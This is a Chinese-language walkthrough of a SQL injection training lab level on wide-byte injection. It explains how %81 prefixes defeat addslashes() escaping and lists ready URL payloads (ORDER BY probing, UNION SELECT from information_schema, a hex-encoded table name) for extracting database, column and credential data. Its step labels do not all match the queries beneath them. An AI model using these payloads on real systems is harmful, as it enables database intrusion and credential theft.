第32关为宽字节注入
SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。
addslashes()转义字符是 PHP 中用于转义字符串中的特殊字符的函数之一。它会在指定的预定义字符(单引号、双引号、反斜线和 NUL 字符)前面添加反斜杠,以防止这些字符被误解为代码注入或其他意外操作。
在此关会发现'、"等字符前面会有斜杠,导致无法判断是单引号注入还是双引号注入等,即不会报错,如
id=2'时
id=2"时
故要绕过,进行宽字节注入,使得单引号、双引号、括号等变得有意义,一般需要ASCII大于128就可以,也就是说在'等符号前,加上ascii大于128的十六进制数,比如129十六进制为0x81,我们需要在'、"、)等符号面前加上%81就行,(0x改成%)
?id=2%81%27
这样才会出现报错信息,发现为单引号注入,进行闭合
判断字段数
?id=2%81%27order%20by%204--+
得出数据库
?id=0%81%27union%20select%201,2,3--+
?id=0%81%27union%20select%201,2,database()--+
得出表名
?id=-1%90%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27%75%73%65%72%73%27--+
得出列名
此时发现%81'users%81'不起作用
尝试将’users'换成url编码
结果不起作用,试试将users换成16进制编码
发现不显示列名
好家伙,直接users转换成十六进制0x7573657273就行,不需要将'users'或者"users"转换成十六进制0x27757365727327或者0x22757365727322,否则就出现我上面的情况,信息正常但是不显示列名
?id=0%81%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+
然后就是一样的方法,显示用户名,密码。